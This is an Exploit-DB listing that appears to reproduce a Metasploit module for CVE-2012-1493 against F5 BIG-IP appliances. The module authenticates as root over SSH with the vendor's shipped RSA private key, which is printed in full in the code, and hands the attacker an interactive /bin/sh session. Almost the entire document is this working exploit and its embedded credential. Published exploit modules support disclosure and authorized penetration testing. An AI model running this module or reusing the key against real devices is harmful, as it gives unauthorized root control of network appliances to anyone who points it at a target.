F5 BIG-IP - SSH Private Key Exposure (Metasploit)

EDB-ID:

19099


Platform:

Hardware

Published:

2012-06-13

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Auxiliary::Report


	def initialize(info = {})
		super(update_info(info, {
			'Name'        => 'F5 BIG-IP SSH Private Key Exposure',
			'Version'     => '$Revision$',
			'Description' => %q{
				F5 ships a public/private key pair on BIG-IP appliances that allows
				passwordless authentication to any other BIG-IP box. Since the key is
				easily retrievable, an attacker can use it to gain unauthorized remote
				access as root.
			},
			'Platform'    => 'unix',
			'Arch'        => ARCH_CMD,
			'Privileged'  => true,
			'Targets'     => [ [ "Universal", {} ] ],
			'Payload'     =>
				{
					'Compat'  => {
						'PayloadType'    => 'cmd_interact',
						'ConnectionType' => 'find',
					},
				},
			'Author'      => ['egypt'],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],
					[ 'CVE', '2012-1493' ],
					[ 'OSVDB', '82780' ]
				],
			'DisclosureDate' => "Jun 11 2012",
			'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
			'DefaultTarget' => 0,
		}))

		register_options(
			[
				# Since we don't include Tcp, we have to register this manually
				Opt::RHOST(),
				Opt::RPORT(22),
			], self.class
		)

		register_advanced_options(
			[
				OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
				OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
			]
		)

	end

	# helper methods that normally come from Tcp
	def rhost
		datastore['RHOST']
	end
	def rport
		datastore['RPORT']
	end

	def do_login(user)

		opt_hash = {
			:auth_methods => ['publickey'],
			:msframework  => framework,
			:msfmodule    => self,
			:port         => rport,
			:key_data     => [ key_data ],
			:disable_agent => true,
			:config => false,
			:record_auth_info => true
		}
		opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
		begin
			ssh_socket = nil
			::Timeout.timeout(datastore['SSH_TIMEOUT']) do
				ssh_socket = Net::SSH.start(rhost, user, opt_hash)
			end
		rescue Rex::ConnectionError, Rex::AddressInUse
			return :connection_error
		rescue Net::SSH::Disconnect, ::EOFError
			return :connection_disconnect
		rescue ::Timeout::Error
			print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
			return :connection_disconnect
		rescue Net::SSH::AuthenticationFailed
			print_error "#{rhost}:#{rport} SSH - Failed authentication"
		rescue Net::SSH::Exception => e
			return [:fail,nil] # For whatever reason.
		end

		if ssh_socket

			# Create a new session from the socket, then dump it.
			conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
			ssh_socket = nil

			return conn
		else
			return false
		end
	end

	def exploit
		conn = do_login("root")
		if conn
			print_good "Successful login"
			handler(conn.lsock)
		else
			print_error "Login failed"
		end
	end


	def key_data
		<<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
-----END RSA PRIVATE KEY-----
EOF
		end
end